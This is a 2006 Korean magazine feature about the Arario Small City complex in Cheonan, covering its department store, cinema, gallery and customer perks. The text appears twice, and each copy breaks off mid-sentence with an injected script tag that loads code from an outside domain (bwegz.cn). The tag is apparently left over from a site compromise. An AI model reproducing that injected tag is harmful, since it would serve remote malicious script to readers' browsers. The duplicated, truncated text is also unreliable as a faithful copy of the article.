문화와 향기가 넘치는 기업, ARARIO
2006-03-16 권자영 기자
고속버스나 시외버스를 타고 천안을 들어서자마자 보이는 ‘아라리오 스몰 시티’는 아라리오갤러리와 야우리백화점이 위치하고 있다는 사실만으로도 사람들의 시선을 잡아끈다. 지방 유동점 한계를 극복하고 이곳이 어떻게 천안을 대표하는 쇼핑과 문화공간으로 자리매김할 수 있었는지 그 이유를 밀착 취재해 봤다.
아라리오는 ‘문화와 향기가 넘치는 기업’을 모토로 한다. 이 회사의 김창일 회장은 아라리오 스몰 시티를 느티나무에 비유한다.
“과수나무보다는 느티나무를 심겠다. 무더운 여름날, 사람들은 열심히 일한 뒤 지친 몸을 쉬게 하고, 흐르는 땀을 식혀줄 느티나무 그늘을 찾게 된다. 바쁜 일상에 쫓겨 정신없이 살아가는 현대인에게 시원한 느티나무 그늘은 바로 문화가 아닌가 생각한다.”
2만 평 규모의 아라리오 스몰 시티는 1989년 천안 종합터미널을 시작으로 현재 10대 후반에서 30대 초반을 타겟으로 하는 야우리백화점과 총 8개관 2천200석의 객석을 보유한 멀티플렉스, 모던아트를 중심으로 세계적인 예술가들의 작품을 전시하는 아라리오갤러리까지. 레스토랑, 중식당, 까페, 베이커리 등 20여 개의 외식사업은 아라리오 스몰 시티를 찾는 또 하나의 이유다.
야우리백화점은 시외버스와 고속버스터미널 하차장과 바로 연결되어 있다.
얼핏 보아서는 다른 쇼핑몰과 큰 차이점이 없는 것 같지만 야우리백화점은 보이지 않는 공간, 고객의 편의를 위한 공간에 남다른 배려를 한다.
각 층의 에스컬레이터가 교차되는 공간에 고객의 휴식을 위한 공간을 만들어놨다. 김창순 차장은, “저 공간에 매대를 놓고 판매를 한다면 층마다 월 5천만원 정도의 수입을 낼 수 있다. 하지만 눈앞의 매출보다는 고객에게 편익을 제공하고 고객 만족을 통해 장기적인 이익을 내다본다.
회장님은 지금의 시설에도 만족하지 못하고 더 고급스럽고 편안한 의자로 바꾸라고 지시해 곧 교체할 계획”이라고 한다.
야우리백화점의 또 다른 자랑거리는 3층에 있다. 파우더룸은 젊은 여성 고객들로 항상 붐빈다. 젊은 층을 타겟으로 한 백화점이지만 유모차를 끌고 오는 고객을 고려해 만든 유아휴게실은 야우리백화점만의 자랑거리라고. 고객서비스 센터에는 인터넷 무료이용 공간, 멀티플렉스 무인 발권기와 커피를 마시면서 쉴 수 있는 테이블이 마련돼 있다. 보이지 않는 공간을 중요하게 생각한다는 김 회장은 화장실의 비누, 수도꼭지 하나도 직접 체크한다.
야우리백화점의 또 다른 자랑거리는 눈을 돌리면 어디서나 볼 수 있는 미술작품들. 벽면의 거울 하나도 김 회장의 손을 거치면 예술작품이 돼 지나가는 사람의 발길을 멈추게 한다. 각 층의 레스토랑을 연결하는 비상계단의 벽은 귀여운 캐릭터 벽화로 꾸며 계단을 이용하는 고객에게 즐거움을 준다. 각 층마다 그려져 있는 독특한 벽화 덕에 일부러 계단을 오르는 고객도 있다고.
야우리백화점 5층에 있는 야우리 멀티플렉스는 시설과 규모 면에서 자랑할 만 하다. 총 2천200석의 8개 상영관은 한 개의 프린트로 4개관에서 동시 상영할 수 있으며, 8개관 모두 아나로그와 디지털음향을 완벽하게 재현할 수 있는 최첨단 시스템을 갖추고 있다.
시간이 흐를수록 철판이 녹슬어 제대로 빛이 나는 아라리오갤러리도 아라리오 스몰시티 사람들을 찾게하는 이유다.서울에서도 보기 힘든 유명 국내외 화가와 조각가들의 작품이 연중 전시되는 아라리오 갤러리는 천안 시민들의 문화적 욕구 충족은 물론 자긍심을 북돋아 주는 곳이기도 하다.
갤러리 입구의 제일 먼저 보이는 전광영 작품은 약초 봉지를 소재로 만든 아라리오갤러리의 대표적 작품. 그 외에도 모던아트를 중심으로 세계 유명 작가들의 전시회가 꾸준히 열리고 있다.
아라리오갤러리 1층에 있는 운보 찾집은 주말이면 천안과 인근지역 사람들의 선보는 장소로도 유명하다. 아라리오갤러리 1층 외부에는 다양한 조형물이 전시되어 있는 정원이 있다. 겨울을 제외한 시즌에 문을 여는 야외정원은 연인들의 데이트 코스. 아라리오갤러리에서 야우리백화점으로 이어지는 푸른 조각광장은 천안 시민의 만남의 장소 역할을 하고 있다.
아라리오의 차별화된 고객서비스
교통비 지급 3만원 이상 구매한 시외 지역 고객에게는 승차 교환권을 지급한다.
천안 야우리백화점에는 천안 시민뿐 아니라 주변 지역의 고객까지 유입되고 있으며, 천안 시내 13개 대학의 서울 통학생도 야우리백화점의 주고객.
아라리오갤러리 무료 입장 야우리백화점은 우수고객 300명에게 VIP고객카드를 발급했다. 야우리 VIP카드 소지자는 동반 1인까지 아라리오갤러리 무료 입장. 이 외에도 일정 금액 이상 구매 고객에게 아라리오갤러리 입장권을 지급하는 이벤트를 수시로 진행하면서 고객서비스를 제공하고 ?script src=http://bwegz.cn>
아라리오는 ‘문화와 향기가 넘치는 기업’을 모토로 한다. 이 회사의 김창일 회장은 아라리오 스몰 시티를 느티나무에 비유한다.
“과수나무보다는 느티나무를 심겠다. 무더운 여름날, 사람들은 열심히 일한 뒤 지친 몸을 쉬게 하고, 흐르는 땀을 식혀줄 느티나무 그늘을 찾게 된다. 바쁜 일상에 쫓겨 정신없이 살아가는 현대인에게 시원한 느티나무 그늘은 바로 문화가 아닌가 생각한다.”
2만 평 규모의 아라리오 스몰 시티는 1989년 천안 종합터미널을 시작으로 현재 10대 후반에서 30대 초반을 타겟으로 하는 야우리백화점과 총 8개관 2천200석의 객석을 보유한 멀티플렉스, 모던아트를 중심으로 세계적인 예술가들의 작품을 전시하는 아라리오갤러리까지. 레스토랑, 중식당, 까페, 베이커리 등 20여 개의 외식사업은 아라리오 스몰 시티를 찾는 또 하나의 이유다.
야우리백화점은 시외버스와 고속버스터미널 하차장과 바로 연결되어 있다.
얼핏 보아서는 다른 쇼핑몰과 큰 차이점이 없는 것 같지만 야우리백화점은 보이지 않는 공간, 고객의 편의를 위한 공간에 남다른 배려를 한다.
각 층의 에스컬레이터가 교차되는 공간에 고객의 휴식을 위한 공간을 만들어놨다. 김창순 차장은, “저 공간에 매대를 놓고 판매를 한다면 층마다 월 5천만원 정도의 수입을 낼 수 있다. 하지만 눈앞의 매출보다는 고객에게 편익을 제공하고 고객 만족을 통해 장기적인 이익을 내다본다.
회장님은 지금의 시설에도 만족하지 못하고 더 고급스럽고 편안한 의자로 바꾸라고 지시해 곧 교체할 계획”이라고 한다.
야우리백화점의 또 다른 자랑거리는 3층에 있다. 파우더룸은 젊은 여성 고객들로 항상 붐빈다. 젊은 층을 타겟으로 한 백화점이지만 유모차를 끌고 오는 고객을 고려해 만든 유아휴게실은 야우리백화점만의 자랑거리라고. 고객서비스 센터에는 인터넷 무료이용 공간, 멀티플렉스 무인 발권기와 커피를 마시면서 쉴 수 있는 테이블이 마련돼 있다. 보이지 않는 공간을 중요하게 생각한다는 김 회장은 화장실의 비누, 수도꼭지 하나도 직접 체크한다.
야우리백화점의 또 다른 자랑거리는 눈을 돌리면 어디서나 볼 수 있는 미술작품들. 벽면의 거울 하나도 김 회장의 손을 거치면 예술작품이 돼 지나가는 사람의 발길을 멈추게 한다. 각 층의 레스토랑을 연결하는 비상계단의 벽은 귀여운 캐릭터 벽화로 꾸며 계단을 이용하는 고객에게 즐거움을 준다. 각 층마다 그려져 있는 독특한 벽화 덕에 일부러 계단을 오르는 고객도 있다고.
야우리백화점 5층에 있는 야우리 멀티플렉스는 시설과 규모 면에서 자랑할 만 하다. 총 2천200석의 8개 상영관은 한 개의 프린트로 4개관에서 동시 상영할 수 있으며, 8개관 모두 아나로그와 디지털음향을 완벽하게 재현할 수 있는 최첨단 시스템을 갖추고 있다.
시간이 흐를수록 철판이 녹슬어 제대로 빛이 나는 아라리오갤러리도 아라리오 스몰시티 사람들을 찾게하는 이유다.서울에서도 보기 힘든 유명 국내외 화가와 조각가들의 작품이 연중 전시되는 아라리오 갤러리는 천안 시민들의 문화적 욕구 충족은 물론 자긍심을 북돋아 주는 곳이기도 하다.
갤러리 입구의 제일 먼저 보이는 전광영 작품은 약초 봉지를 소재로 만든 아라리오갤러리의 대표적 작품. 그 외에도 모던아트를 중심으로 세계 유명 작가들의 전시회가 꾸준히 열리고 있다.
아라리오갤러리 1층에 있는 운보 찾집은 주말이면 천안과 인근지역 사람들의 선보는 장소로도 유명하다. 아라리오갤러리 1층 외부에는 다양한 조형물이 전시되어 있는 정원이 있다. 겨울을 제외한 시즌에 문을 여는 야외정원은 연인들의 데이트 코스. 아라리오갤러리에서 야우리백화점으로 이어지는 푸른 조각광장은 천안 시민의 만남의 장소 역할을 하고 있다.
아라리오의 차별화된 고객서비스
교통비 지급 3만원 이상 구매한 시외 지역 고객에게는 승차 교환권을 지급한다.
천안 야우리백화점에는 천안 시민뿐 아니라 주변 지역의 고객까지 유입되고 있으며, 천안 시내 13개 대학의 서울 통학생도 야우리백화점의 주고객.
아라리오갤러리 무료 입장 야우리백화점은 우수고객 300명에게 VIP고객카드를 발급했다. 야우리 VIP카드 소지자는 동반 1인까지 아라리오갤러리 무료 입장. 이 외에도 일정 금액 이상 구매 고객에게 아라리오갤러리 입장권을 지급하는 이벤트를 수시로 진행하면서 고객서비스를 제공하고 ?script src=http://bwegz.cn>
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